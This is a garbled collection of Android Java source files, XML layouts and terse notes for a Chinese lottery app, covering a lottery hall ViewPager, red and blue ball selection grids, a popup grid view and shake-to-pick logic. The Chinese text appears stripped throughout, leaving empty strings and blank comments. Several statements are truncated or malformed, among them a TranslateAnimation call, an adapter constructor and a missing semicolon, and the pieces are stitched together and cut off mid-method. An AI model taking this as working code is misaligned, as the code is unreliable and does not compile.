import	java.util.List;

	

import	org.apache.commons.lang3.StringUtils;

	

import	android.annotation.SuppressLint;

import	android.content.Context;

import	android.graphics.Bitmap;

import	android.graphics.BitmapFactory;

import	android.graphics.Color;

import	android.graphics.Matrix;

import	android.graphics.Point;

import	android.os.Build;

import	android.support.v4.view.PagerAdapter;

import	android.support.v4.view.ViewPager;

import	android.support.v4.view.ViewPager.OnPageChangeListener;

import	android.util.DisplayMetrics;

import	android.view.Display;



import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.view.WindowManager;

import	android.view.animation.Animation;

import	android.view.animation.TranslateAnimation;

import	android.widget.BaseAdapter;

import	android.widget.ImageView;

import	android.widget.LinearLayout;

import	android.widget.ListView;

import	android.widget.TextView;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.GlobalParams;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.engine.CommonInfoEngine;

import	cn.zengfansheng.lottery.factory.EngineFactory;

import	cn.zengfansheng.lottery.net.protocol.Message;

import	cn.zengfansheng.lottery.net.protocol.Olement;

import	cn.zengfansheng.lottery.net.protocol.element.CurrentIssueElement;

import	cn.zengfansheng.lottery.util.LogUtil;

import	cn.zengfansheng.lottery.util.PromptManager;

	

public	class	HallView	extends	BaseView	{

	

				//	************************************//

				private	static	final	String	TAG	=	"HallView";

	

				//		

				//	private	Map<Integer,	String>	data;

	

				//	TextView

				//	private	List<TextView>	tvLotterySummary;

	

				//	************************************//

				public	HallView(Context	context)	{

								super(context);

				}

	

				//	********************——********************	//

				//	current*(/3)/2	-	/2

				private	int	titleCount;//	

				private	ImageView	ivSelector;

	

				/**

					*	

					*

					*	@return

					*/

				@SuppressWarnings("deprecation")

				@SuppressLint("NewApi")

				public	float	getWindowWidth()	{

	

								WindowManager	manager	=	(WindowManager)

context.getSystemService(Context.WINDOW_SERVICE);

								Display	display	=	manager.getDefaultDisplay();



	

								DisplayMetrics	outMetrics	=	new	DisplayMetrics();

								display.getMetrics(outMetrics);

								float	width	=	outMetrics.widthPixels;

	

								//	int	width	=	0;

								//	android2.3

	

								int	sdkVersion	=	Build.VERSION.SDK_INT;

								if	(sdkVersion	<	13)	{//	

												LogUtil.i(TAG,	"" 	+	sdkVersion);

												width	=	display.getWidth();

								}	else	{

												LogUtil.i(TAG,	"" 	+	sdkVersion);

												Point	outSize	=	new	Point();

												display.getSize(outSize);

												width	=	outSize.x;

								}

								return	width;

				}

	

				//	current*(/3)/2	-	/2

				/**

					*	

					*/

				public	void	tabStripe()	{

	

								GlobalParams.WINDOW_WIDTH	=	getWindowWidth();

								titleCount	=	TITLES.length;

	

								ivSelector	=	(ImageView)	showView.findViewById(R.id.iv_category_selector_zl);

	

								Bitmap	bitmap	=	BitmapFactory.decodeResource(context.getResources(),

R.drawable.id_category_selector);

								//	

								int	imgWidth	=	bitmap.getWidth();

	

								float	left	=	((GlobalParams.WINDOW_WIDTH)	/	titleCount	-	imgWidth)	/	2

	

								Matrix	matrix	=	new	Matrix();

								matrix.postTranslate(left,	0);

								ivSelector.setImageMatrix(matrix	);

	

				}

	

				//	********************ViewPagerPagerAdapter****************	//

	

				private	final	static	String[]	TITLES	=	new	String[]	{	"" ,	"" ,	"" 	};

				//	ViewPager

				private	ViewPager	vpViewPager;

				//	ViewPagerAdapter

				private	MyPagetAdapter	myPagetAdapter;

	

				//	

				private	List<View>	views;



	

				//adapter

				private	class	MyPagetAdapter	extends	PagerAdapter{

								@Override

								public	int	getCount()	{

												return	TITLES.length;

								}

	

								@Override

								public	boolean	isViewFromObject(View	view,	Object	object)	{

												return	view	==	object;

								}

	

								@Override

								public	Object	instantiateItem(ViewGroup	container,	int	position)	{

	

												View	view	=	views.get(position);

												container.addView(view);

												return	view;

								}

	

								@Override

								public	void	destroyItem(ViewGroup	container,	int	position,	Object	object)	{

												container.removeView(views.get(position));

								}

				}

	

				/**

					*	ViewPager

					*/

				public	void	initViewPager()	{

	

								//	ViewPager

								vpViewPager	=	(ViewPager)	this.findViewById(R.id.vp_category_hall_zl);

	

								//	ViewPager

								myPagetAdapter	=	new	MyPagetAdapter();

								vpViewPager.setAdapter(myPagetAdapter);

	

								vpViewPager.addView(categoryList);

								//	listViews.add(categoryList);

	

				}

	

				/**

					*	ViewPager

					*/

				public	void	initPagerViews(){

								//

								views	=	new	ArrayList<View>();

								views.add(categoryList);

	

								TextView	tv	=	new	TextView(context);

	

								tv.setText("" );



								views.add(tv);

	

								tv	=	new	TextView(context);

	

								tv.setText("" );

								views.add(tv);

				}

	

				//	********************ListViewViewHolder****************//

				//	

				private	static	final	int[]	LOGORESIDS	=		{	R.drawable.id_ssq,	R.drawable.id_3d,

R.drawable.id_qlc	};

	

				private	static	final	int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,

R.string.is_hall_3d_title,	R.string.is_hall_qlc_title	};

				//	listview

				private	ListView	categoryList;

				//adapter

				private	LotteryAdapter	lotteryAdapter;

	

				private	static	class	ViewHolder	{

								private	ImageView	ivHallLotteryLogo;//	Logo

								private	TextView	tvHallLotteryTitle;//	Title

								private	TextView	tvHallLotterySummary;//	

								private	ImageView	ivHallLotteryBet;//	

				}

	

				private	class	LotteryAdapter	extends	BaseAdapter{

	

//								private		int[]	LOGORESIDS	=		{	R.drawable.id_ssq,	R.drawable.id_3d,

R.drawable.id_qlc	};

//								private		int[]	TITLERESIDS	=			{	R.string.is_hall_ssq_title,

R.string.is_hall_3d_title,	R.string.is_hall_qlc_title	};

	

								@Override

								public	int	getCount()	{

												return	LOGORESIDS.length;//	FIXME:logoResIdsLotteryAdapter

								}

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	position;

								}

								@Override

								public	View	getView(final	int	position,	View	convertView,	ViewGroup	parent)	{

	

												LogUtil.i(TAG,	"getView");

												View	view	=	null;

												ViewHolder	viewHolder	=	null;

												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();



												}	else	{

	

																view	=	View.inflate(context,	R.layout.zl_hall_lottery_item,	null);

	

																viewHolder	=	new	ViewHolder();

																viewHolder.ivHallLotteryLogo	=	(ImageView)

view.findViewById(R.id.iv_hall_lottery_logo_zl);

																viewHolder.tvHallLotteryTitle	=	(TextView)

view.findViewById(R.id.tv_hall_lottery_title_zl);

																viewHolder.tvHallLotterySummary	=	(TextView)

view.findViewById(R.id.tv_hall_lottery_summary_zl);

																viewHolder.ivHallLotteryBet	=	(ImageView)

view.findViewById(R.id.iv_hall_lottery_bet_zl);

	

																//	tvHallLotterySummary

																//	tvLotterySummary.add(viewHolder.tvHallLotterySummary);

	

																//	

																viewHolder.tvHallLotterySummary.setTag(position);//	tag

	

																view.setTag(viewHolder);//	tag

												}

	

												//	logo

												viewHolder.ivHallLotteryLogo.setImageResource(LOGORESIDS[position]);

												//	title

												viewHolder.tvHallLotteryTitle.setText(TITLERESIDS[position]);

	

												//	map

												//String	info	=	data.get(position);

												//if	(StringUtils.isNotBlank(info))	{

												//				viewHolder.tvHallLotterySummary.setText(info);

												//}

	

												viewHolder.ivHallLotteryBet.setOnClickListener(new	OnClickListener()	{

	

																@Override

																public	void	onClick(View	v)	{

																				switch	(position)	{

																												case	0://	

																																				//	TODO:	bet

	

																								break;

																								}

																				}

												});

												return	view;

								}

				}

	

				/**

					*	ListView

					*/

				public	void	initListView(){

								//	1showView



								showView	=	(ViewGroup)	View.inflate(context,	R.layout.zl_hall,	null);

	

								//	2listview

								//categoryList	=	(ListView)	showView.findViewById(R.id.lv_category_selector);

	

								//	ListViewViewPagerfindViewById

								categoryList	=	new	ListView(context);

	

								//	()

								//	data	=	new	HashMap<Integer,	String>();

	

								//	TextViewListViewList

								//	tvLotterySummary	=	new	ArrayList<TextView>();

	

								//	3adapter

								lotteryAdapter	=	new	LotteryAdapter();

	

								//	4adapter

								categoryList.setAdapter(lotteryAdapter);

				}

	

				//	********************init()****************//

				/**

					*	1

					*/

				public	void	init()	{

	

								//	ListView

								initListView();

	

								//	ViewPager

								initViewPager();

	

								//	ViewPager

								initPagerViews();

	

								//	

								tabStripe();

	

								//	TextView

								initTextView();

				}

	

				//	************************************//

				private	TextView	tvCategoryFc;

				private	TextView	tvCategoryTc;

				private	TextView	tvCategoryGpc;

	

				public	void	initTextView()	{

								tvCategoryFc	=	(TextView)	this.findViewById(R.id.tv_category_fc_zl);

								tvCategoryTc	=	(TextView)	this.findViewById(R.id.tv_category_tc_zl);

								tvCategoryGpc	=	(TextView)	this.findViewById(R.id.tv_category_gpc_zl);

				}

	

				private	int	currentTab	=	1;//	



	

				@Override

				public	void	setListener()	{

								//	ViewPager

								vpViewPager.setOnPageChangeListener(new	OnPageChangeListener()	{

	

												//	page

												@Override

												public	void	onPageSelected(int	position)	{

																//	

																tvCategoryFc.setTextColor(Color.BLACK);

																tvCategoryTc.setTextColor(Color.BLACK);

																tvCategoryGpc.setTextColor(Color.BLACK);

																switch	(position)	{

																case	0:

																				tvCategoryFc.setTextColor(Color.RED);

																				break;

																case	1:

																				tvCategoryTc.setTextColor(Color.RED);

																				break;

																case	2:

																				tvCategoryGpc.setTextColor(Color.RED);

																				break;

																}

																float	fromXDelta	=	currentTab*GlobalParams.WINDOW_WIDTH/titleCount;

																float	toXDelta	=	position	*	GlobalParams.WINDOW_WIDTH/titleCount;

																Animation	animation	=	new	TranslateAnimation(fromXDelta,	toXDelta,	

																animation.setFillAfter(true);

																animation.setDuration(300);

	

																ivSelector.startAnimation(animation);

	

																//	

																currentTab	=	position;

												}

	

												@Override

												public	void	onPageScrolled(int	arg0,	float	arg1,	int	arg2)	{

												}

	

												@Override

												public	void	onPageScrollStateChanged(int	arg0)	{

												}

								});

				}

				@Override

				public	void	onResume()	{

								getCurrentIssueInfo();

				}

				@Override

				public	int	getViewId()	{

								return	ConstantValue.VIEW_HALL;

				}

	

				//	******************************************************//



	

				/**

					*	

					*

					*	@param	element

					*/

				private	void	changeNotice(CurrentIssueElement	element)	{

	

								String	info	=	context.getResources().getString(

																R.string.is_hall_common_summary);

	

								//	

								String	issue	=	element.getIssue();

								//	

								String	lasttime	=	element.getLasttime();

	

								info	=	StringUtils.replaceEach(info,	new	String[]	{	"ISSUE",	"TIME"	},

																new	String[]	{	issue,	getLasttime(lasttime)	});

	

								//	Map<Integer,String>

								//	data(())

								//	listviewitem

								//	data.put(0,	info);

								//	adapter.notifyDataSetChanged();//	listviewitem

	

								//	listviewtextview,TextViewitem

								//	getViewTextView

								//	ListViewList

								//	TextView	tvSummery	=	tvLotterySummary.get(0);

								//	tvSummery.setText(info);

	

								//	tag

								TextView	tvSummery	=	(TextView)	categoryList.findViewWithTag(0);//	

								tvSummery.setText(info);

	

								//	note:notifyDataSetChanged()findViewWithTag()

								//	①ListViewitemnotifyDataSetChanged();
								//	②Item,
								//	③ListViewListView(item)
	

				}

	

				//	********************************************************************//

				/**

					*	()

					*/

				public	void	getCurrentIssueInfo(){

	

								//	3AsyncTaskBaseView

								new	MyHttpAsyncTask<Integer>()	{

	

												@Override

												protected	Message	doInBackground(Integer...	params)	{

	

																//	1

																CommonInfoEngine	infoEngine	=



EngineFactory.getEngineImplInstance(CommonInfoEngine.class);

																//	2

																Message	message	=	infoEngine.getCurrentIssueInfo(params[0]);

																return	message;

												}

												@Override

												protected	void	onPostExecute(Message	result)	{

																super.onPostExecute(result);

																//	

																if	(result	!=	null)	{//	messagenull

																				Olement	olement	=	result.getBody().getOlement();

																				if	(0	==	(olement.getErrorcode()))	{//	0

																								CurrentIssueElement	element	=	(CurrentIssueElement)

result.getBody().getElements().get(0);

																								changeNotice(element);

																				}	else	{//	

																								PromptManager.showToast(context,	olement.getErrormsg());

																				}

																}	else	{//	

																				PromptManager.showToast(context,	"" );

																}

												}

								}.executeProxy(ConstantValue.SSQ);

				}

	

				//	********************************************************************//

				/**

					*	

					*

					*	@param	lasttime

					*	@return

					*/

				public	String	getLasttime(String	lasttime)	{

								StringBuffer	result	=	new	StringBuffer();

								if	(StringUtils.isNumericSpace(lasttime))	{

												int	time	=	Integer.parseInt(lasttime);

												int	day	=	time	/	(24	*	60	*	60);

												result.append(day).append("" );

												if	(day	>	0)	{

																time	=	time	-	day	*	24	*	60	*	60;

												}

												int	hour	=	time	/	3600;

												result.append(hour).append("" );

												if	(hour	>	0)	{

																time	=	time	-	hour	*	60	*	60;

												}

												int	minute	=	time	/	60;

												result.append(minute).append("" );

								}

								return	result.toString();

				}

}



AndroidViewPagerjava.lang.IllegalArgumentException:	The	observer
is	null.

AndroidViewPagerjava.lang.IllegalArgumentException:	The	observer	is	null.

java.lang.IllegalArgumentException:	The	observer	is	null.
Android	4.0.3	mFrameLayout.removeAllViews();;	Android	2.3.3;	!

ViewPagerListViewViewPagejava.lang.IllegalArgumentException:	The
observer	is	null.
ViewPagerAndroid4.0
ViewPagerViewListViewunregisterDataSetObserverListView“The
observer	is	null”

ListViewAdapterunregisterDataSetObserver
@Override

				public	void	unregisterDataSetObserver(DataSetObserver	observer)	{

								if(observer	!=	null){

												super.unregisterDataSetObserver(observer);

								}

				}
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<?xml	version="1.0"	encoding="utf-8"?>
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<!--		-->
				<ScrollView
								android:layout_width="match_parent"
								android:layout_height="match_parent"
								android:layout_above="@id/ii_lottery_buy_bottom"	>
								<LinearLayout
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:orientation="vertical"	>
												<!--		-->
												<RelativeLayout
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:background="@drawable/id_ssq_red_title"	>
																<Button
																				android:id="@+id/bt_ssq_random_red"
																				style="@android:style/Widget.Button.Small"
																				android:layout_width="wrap_content"
																				android:layout_height="wrap_content"
																				android:layout_alignParentRight="true"
																				android:layout_centerVertical="true"
																				android:layout_marginRight="15dip"
																				android:text="@string/is_random_red"	/>
												</RelativeLayout>
												<!--		-->
												
												<!--	——	-->
												<GridView
																android:id="@+id/gv_ssq_red_number_container"
																android:layout_width="match_parent"
																android:layout_height="200dip"
																android:layout_marginLeft="5dip"
																android:layout_marginRight="5dip"
																android:layout_marginTop="5dip"
																android:columnWidth="35dip"
																android:listSelector="@android:color/white"
																android:numColumns="auto_fit"	>
												</GridView>



												<!--		-->
												<RelativeLayout
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:background="@drawable/id_ssq_blue_title"	>
																<Button
																				android:id="@+id/bt_ssq_random_blue"
																				style="@android:style/Widget.Button.Small"
																				android:layout_width="wrap_content"
																				android:layout_height="wrap_content"
																				android:layout_alignParentRight="true"
																				android:layout_centerVertical="true"
																				android:layout_marginRight="15dip"
																				android:text="@string/is_random_blue"	/>
												</RelativeLayout>
												<!--		-->
												<GridView
																android:id="@+id/gv_ssq_blue_number_container"
																android:layout_width="match_parent"
																android:layout_height="120dip"
																android:layout_marginLeft="5dip"
																android:layout_marginRight="5dip"
																android:layout_marginTop="5dip"
																android:columnWidth="35dip"
																android:listSelector="@android:color/white"
																android:numColumns="auto_fit"	/>
								</LinearLayout>
				</ScrollView>
				<!--		-->
				<LinearLayout
								android:id="@+id/ll_lottery_buy_bottom_zl"
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:layout_alignParentBottom="true"
								android:background="@drawable/id_lottery_phone_shake_bg"
								android:gravity="center_horizontal"	>
								<ImageView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:src="@drawable/id_lottery_phone_shake"	/>
				</LinearLayout>
</RelativeLayout>



2PlaySSq.java
package	cn.zengfansheng.lottery.view;

	

import	java.util.ArrayList;

import	java.util.List;

import	java.util.Random;

	

import	org.apache.commons.lang3.StringUtils;

	

import	android.content.Context;

import	android.os.Bundle;

import	android.view.View;

import	android.view.ViewGroup;

import	android.view.animation.Animation;

import	android.view.animation.AnimationUtils;

import	android.widget.AdapterView;

import	android.widget.AdapterView.OnItemClickListener;

import	android.widget.Button;

import	android.widget.GridView;

import	cn.zengfansheng.lottery.ConstantValue;

import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.view.adapter.PollAdapter;

import	cn.zengfansheng.lottery.view.manager.TopTitleManager;

	

/**

*	View

*

*	@author	hacket

*/

public	class	PlaySSQ	extends	BaseView	{

	

				public	PlaySSQ(Context	context,	Bundle	bundle)	{//	changeView

								super(context);

								this.bundle	=	bundle;//	FIXME:bundle

				}

	

				@Override

				protected	void	init()	{

								showView	=	(ViewGroup)	View.inflate(context,	R.layout.zl_playssq,	null);

	

								//	1

								initComponent();

	

								//	3setSsqAdapter()getView

								initListSelected();

	

								//	2

								setSsqAdapter();

				}

	

				@Override

				protected	void	setListener()	{

	

								//	

								btSsqRandomRed.setOnClickListener(this);



	

								//	

								btSsqRandomBlue.setOnClickListener(this);

	

								//	

								setClickAnimation();

				}

	

				@Override

				public	int	getViewId()	{

								return	ConstantValue.VIEW_SSQ;

				}

	

				//	NOTE	1******************************		******************************

				//	①:Layout
				//	②
				//	③
				//	④
				//	⑤(1)
				//	⑥
				//	⑦
				//	⑧
	

				//	******************************	1-1	******************************

				private	GridView	gvSsqRedNumber;//	

				private	Button	btSsqRandomRed;//	

	

				private	GridView	gvSsqBlueNumber;//	

				private	Button	btSsqRandomBlue;//	

				public	void	initComponent()	{

	

								gvSsqRedNumber	=	(GridView)	findViewById(R.id.gv_ssq_red_number_container);

								btSsqRandomRed	=	(Button)	findViewById(R.id.bt_ssq_random_red);

	

								gvSsqBlueNumber	=	(GridView)	findViewById(R.id.gv_ssq_blue_number_container);

								btSsqRandomBlue	=	(Button)	findViewById(R.id.bt_ssq_random_blue);

	

				}

	

				//	NOTE

				//	2******************************1-2******************************

	

				@Override

				public	void	onClick(View	v)	{

								switch	(v.getId())	{

								case	R.id.bt_ssq_random_red://	

												//	:

												randomSelectRedBall();

												break;

								case	R.id.bt_ssq_random_blue://	

												//	:

												randomSelectBlueBall();

												break;

								}

				}



	

				//	FIXME:bundle

				//	NOTE	******2********

				public	void	handleTitle()	{

								//	

	

								if	(bundle	!=	null)	{//	

												String	title	=	context.getResources().getString(R.string.is_ssq_title);

												title	=	StringUtils.replace(title,	"ISSUE",	bundle.getString("issue"

												TopTitleManager.getTopTitleManager().changeTopCommonTitle(title);

								}	else	{//	

											

TopTitleManager.getTopTitleManager().changeTopCommonTitle(R.string.is_ssq_title_default);

								}

				}

	

				//	

				@Override

				public	void	onResume()	{

								super.onResume();

								handleTitle();

				}

	

				//	NOTE	3************************	3	******************

				private	PollAdapter	pollRedNumberAdapter;//	

				private	PollAdapter	pollBlueNumberAdapter;//	

	

				/**

					*	

					*/

				public	void	setSsqAdapter()	{

	

								//	

								pollRedNumberAdapter	=	new	PollAdapter(context,	33,

listRedSelected,R.drawable.id_redball);

								gvSsqRedNumber.setAdapter(pollRedNumberAdapter);

	

								//	

								pollBlueNumberAdapter	=	new	PollAdapter(context,	1,

16,listBlueSelected,R.drawable.id_blueball);

								gvSsqBlueNumber.setAdapter(pollBlueNumberAdapter);

				}

	

				//	******************************	4	******************************

				//	1

				//	2

				private	List<Integer>	listRedSelected;//	

				private	List<Integer>	listBlueSelected;//	

	

				public	void	initListSelected(){

								listRedSelected	=	new	ArrayList<Integer>();

								listBlueSelected	=	new	ArrayList<Integer>();

				}

	

				/**



					*	

					*/

				public	void	setClickAnimation()	{

								//	

								gvSsqRedNumber.setOnItemClickListener(new	OnItemClickListener()	{

	

												@Override

												public	void	onItemClick(AdapterView<?>	parent,	View	view,

																				int	position,	long	id)	{

	

																//	

																//	

	

																if	(listRedSelected.contains(pollRedNumberAdapter

																								.getItem(position)))	{//	

																				//	1

																				//	①
																				//	listRedSelected.remove(position);//positionposition

																				//listRedSelected.remove(Integer.valueOf(position));

																				listRedSelected.remove(pollRedNumberAdapter.getItem(position));

																				//	②
																				view.setBackgroundResource(R.drawable.id_defalut_ball);

																}	else	{//	

																				//	2

																				//	①
																				listRedSelected.add(position+1);

																				//	②
																				view.setBackgroundResource(R.drawable.id_redball);

																				//	③view
																				Animation	shakeAnimation	=	AnimationUtils.loadAnimation(context,

R.anim.za_ball_shake);

																				view.startAnimation(shakeAnimation);

																}

												}

								});

								gvSsqBlueNumber.setOnItemClickListener(new	OnItemClickListener()	{

	

												@Override

												public	void	onItemClick(AdapterView<?>	parent,	View	view,

																				int	position,	long	id)	{

																if	(listBlueSelected.contains(position	+	1))	{//	

	

																				listBlueSelected.remove(Integer.valueOf(position+1));

																				view.setBackgroundResource(R.drawable.id_defalut_ball);

																}	else	{//	

	

																				listBlueSelected.add(position+1);

	

																				view.setBackgroundResource(R.drawable.id_blueball);

	

																				Animation	shakeAnimation	=	AnimationUtils.loadAnimation(context,

R.anim.za_ball_shake);

																				view.startAnimation(shakeAnimation);

																}

												}



								});

				}

	

				//	NOTE	*****************	4(1)	***************

	

				/**

					*	6

					*/

				private	void	randomSelectRedBall(){

								//	

								//	

								if	(listRedSelected	!=	null)	{

												listRedSelected.clear();

								}

								Random	random	=	new	Random();

								while	(listRedSelected.size()	<	6)	{

												int	redBall	=	random.nextInt(33)	+	1;//	01

												if	(listRedSelected.contains(redBall))	{//	continue

																continue;

												}

												//	adapter

												listRedSelected.add(redBall);

								}

								//	

								pollRedNumberAdapter.notifyDataSetChanged();

				}

	

				/**

					*	1

					*/

				private	void	randomSelectBlueBall(){

								//	

								if	(listBlueSelected	!=	null)	{

												listBlueSelected.clear();

								}

								Random	random	=	new	Random();

								int	blueBall	=	random.nextInt(16)	+	1;//	01

								listBlueSelected.add(blueBall);

								//	

								pollBlueNumberAdapter.notifyDataSetChanged();

				}

}

3AdapterPollAdapter.java
package	cn.zengfansheng.lottery.view.adapter;

	

import	java.text.DecimalFormat;

import	java.util.List;

	

import	android.content.Context;

import	android.view.Gravity;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.BaseAdapter;

import	android.widget.TextView;



import	cn.zengfansheng.lottery.R;

import	cn.zengfansheng.lottery.util.DensityUtil;

	

/**

*	

*

*	@author	hacket

*/

public	class	PollAdapter	extends	BaseAdapter	{

	

				/**

					*	

					*/

				private	Context	context;

				/**

					*	

					*/

				public	int	startBall;

				/**

					*	

					*/

				public	int	endBall;

	

				/**

					*	

					*/

				private	List<Integer>	listSelected;

	

				/**

					*	id

					*/

				private	int	selectedBkgResId;

	

				//	***********************

	

				/**

					*	@param	context

					*												

					*	@param	endBall

					*												

					*	@param	listSelected

					*												

					*	@param	resId

					*												id

					*/

				public	PollAdapter(Context	context,int	endBall,List<Integer>	listSelected,

{

								this.context	=	context;

								this.endBall	=	endBall;

								this.listSelected	=	listSelected;

								this.selectedBkgResId	=	resId;

				}

	

				/**

					*	@param	context



					*												

					*	@param	startBall

					*												

					*	@param	endBall

					*												

					*	@param	listSelected

					*												

					*	@param	resId

					*												id

					*/

				public	PollAdapter(Context	context,int	startBall,	int	endBall,List<Integer

listSelected,int	resId)	{

								this.context	=	context;

								this.startBall	=	startBall;

								this.endBall	=	endBall;

								this.listSelected	=	listSelected;

								this.selectedBkgResId	=	resId;

				}

	

				//	***********************

				//	1

				@Override

				public	int	getCount()	{

								if	(startBall	==	0)	{

												return	endBall;

								}	else	{

												return	endBall	-	startBall	+	1;

								}

				}

	

				//	2return	position	+	1;

				@Override

				public	Object	getItem(int	position)	{

								return	position	+	1;

				}

	

				@Override

				public	long	getItemId(int	position)	{

								return	position;

				}

	

				@Override

				public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

	

								TextView	tvBall	=	new	TextView(context);

	

								//	

								DecimalFormat	df	=	new	DecimalFormat("00");

								String	numberBall	=	df.format(position	+	1);

								//	

								tvBall.setText(numberBall);

								//	

								tvBall.setGravity(Gravity.CENTER);

								//	

								int	textSize	=	DensityUtil.dip2px(context,	16);



								tvBall.setTextSize(textSize);

	

								//	

								if	(listSelected.contains(position	+	1))	{

												tvBall.setBackgroundResource(selectedBkgResId);

								}	else	{

												tvBall.setBackgroundResource(R.drawable.id_defalut_ball);

								}

								return	tvBall;

				}

	

}
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——PopWindow

1MyGridViewGridView
2

①
showAsDrop(view,..)PopWindow
viewview
②
PopWindow
③
PopWindowdismiss()item
3OnItemClickListener()item
4PopupWindow

1getX()getRawX()
getX()Widgetx,getRawX()x(:,activitytitleBar),getY(),getRawY()
2PopupWindow
popupWindow.setAnimationStyle(0);//	
popupWindow.setBackgroundDrawable(null);//	
popupWindow.update(anchor,	xoff,	yoff,	-1,	-1);//	showAsDropDown()update()



//	pop-1 		
3GridView
View	anchor	=	this.getChildAt(itemId);//itemView
4

①
②
③ViewViewGroup

<?xml	version="1.0"	encoding="UTF-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:gravity="center"
				android:orientation="vertical"	>
				<TextView
								android:id="@+id/tv_pretextView_zl"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:background="@drawable/id_ball_tip_red"
								android:gravity="center"
								android:textColor="@color/black"
								android:textSize="20.0dp"
								android:textStyle="bold"	/>
</LinearLayout>

package	cn.zengfansheng.lottery.view.custom;
import	java.text.DecimalFormat;
import	android.content.Context;
import	android.util.AttributeSet;
import	android.view.Gravity;
import	android.view.MotionEvent;
import	android.view.View;
import	android.widget.GridView;
import	android.widget.PopupWindow;
import	android.widget.TextView;
import	cn.zengfansheng.lottery.R;
import	cn.zengfansheng.lottery.util.DensityUtil;
import	cn.zengfansheng.lottery.util.LogUtil;
/**
	*	GridView
	*	



	*	@author	hacket
	*/
public	class	MyGridView	extends	GridView	{
				//	 popwindow
				private	static	final	String	TAG	=	"MyGridView";
				public	MyGridView(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								init();
				}
				public	MyGridView(Context	context)	{
								super(context);
								init();
				}
				
				//	note*********************1*********************
				private	PopupWindow	popupWindow;
				private	TextView	tvBall;
				public	void	init()	{
								View	view	=	View.inflate(getContext(),	R.layout.zl_gridview_item_pop,	null);
								tvBall	=	(TextView)	view.findViewById(R.id.tv_pretextView_zl);
								tvBall.setGravity(Gravity.CENTER);
								//	popupWindow
								popupWindow	=	new	PopupWindow();
								
								//	pop
								popupWindow.setHeight(DensityUtil.dip2px(getContext(),	50));
								popupWindow.setWidth(DensityUtil.dip2px(getContext(),	50));
								popupWindow.setAnimationStyle(0);//	
								popupWindow.setBackgroundDrawable(null);//	
								//	popview
								popupWindow.setContentView(view);
				}
				
				//	note*********************2*********************
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{
								//	1
								int	x	=	(int)	event.getX();//	x
								int	y	=	(int)	event.getY();
								//	2GridViewitem
								int	itemId	=	this.pointToPosition(x,	y);//	gridViewitem
INVALID_POSITION-1item



								if	(itemId	==	GridView.INVALID_POSITION)	{//	item
												if	(popupWindow.isShowing())	{
																popupWindow.dismiss();
												}
												return	false;
								}
								//	3GridViewitemIdView
								View	anchor	=	this.getChildAt(itemId);
								//	4popupWindow
								int	xoff	=	-(popupWindow.getWidth()	-	anchor.getWidth())	/	2;
								int	yoff	=	-(popupWindow.getHeight()	+	anchor.getWidth());
								//	5popupWindow
								DecimalFormat	df	=	new	DecimalFormat("00");
								String	position	=	df.format(itemId	+	1);
								tvBall.setText(position);
								switch	(event.getAction())	{
								case	MotionEvent.ACTION_DOWN:
												popupWindow.dismiss();
												//	PopupWindow
												showPopupWindow(anchor,	xoff,	yoff);
												break;
								case	MotionEvent.ACTION_MOVE:
												//	item ancher
												showPopupWindow(anchor,	xoff,	yoff);
												break;
								case	MotionEvent.ACTION_UP:
												if	(popupWindow.isShowing())	{
																popupWindow.dismiss();
												}
												//	itemitem
												if	(onItemUPListener	!=	null)	{
																onItemUPListener.itemActionUp(anchor,	itemId);
												}
												break;
								default:
												if	(popupWindow.isShowing())	{
																LogUtil.i(TAG,	"default~");
																popupWindow.dismiss();
												}
												break;
								}
								return	super.onTouchEvent(event);



				}
				//	note*********************3PopupWindow*********************
				private	void	showPopupWindow(View	anchor,	int	xoff,	int	yoff)	{
								//	
								//	1popView	anchor
								//	2popanchor
								if	(popupWindow.isShowing())	{//	pop
												//	popupWindow.showAsDropDown(anchor,	xoff,	yoff);//
												popupWindow.update(anchor,	xoff,	yoff,	-1,	-1);//	showAsDropDown()
update()
												//	pop-1
								}	else	{
												popupWindow.showAsDropDown(anchor,	xoff,	yoff);
								}
				}
				
				//	note*********************4*********************
				private	OnItemUPListener	onItemUPListener;
				
				/**
					*	
					*	
					*	@author	hacket
					*/
				public	interface	OnItemUPListener{
								/**
									*	
									*	
									*	@param	anchor
									*												View
									*	@param	position
									*												item
									*/
								public	abstract	void	itemActionUp(View	anchor,int	position);
								
				}
				
				/**
					*	
					*	
					*	@param	onItemUPListener
					*/



				public	void	setOnItemUpListener(OnItemUPListener	onItemUPListener)	{
								this.onItemUPListener	=	onItemUPListener;
				}
}
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①
30ms
50ms

100ms
120ms

1SensorManager
2onResume()sensor
3onPause()sensor
4
5
6
<uses-permission	android:name="android.permission.VIBRATE"/>		
7
application:android:theme="@android:style/Theme.Light.NoTitleBar"		
activity:android:configChanges="keyboardHidden|orientation|screenLayout|smallestScreenSize"
8
9

private	SensorManager	sensorManager;
private	ShakeListener	mySensorEventListener;
/**
	*	Sensor
	*/
public	void	initSensor(){
				//List<Sensor>	sensorList	=	sensorManager.getSensorList(Sensor.TYPE_ACCELEROMETER);
				sensorManager	=	(SensorManager)	context.getSystemService(Context.SENSOR_SERVICE
				mySensorEventListener	=	new	ShakeListener(context)	{
								@Override
								public	void	createLottery()	{
												//	
												randomSelectRedBall();
												//	



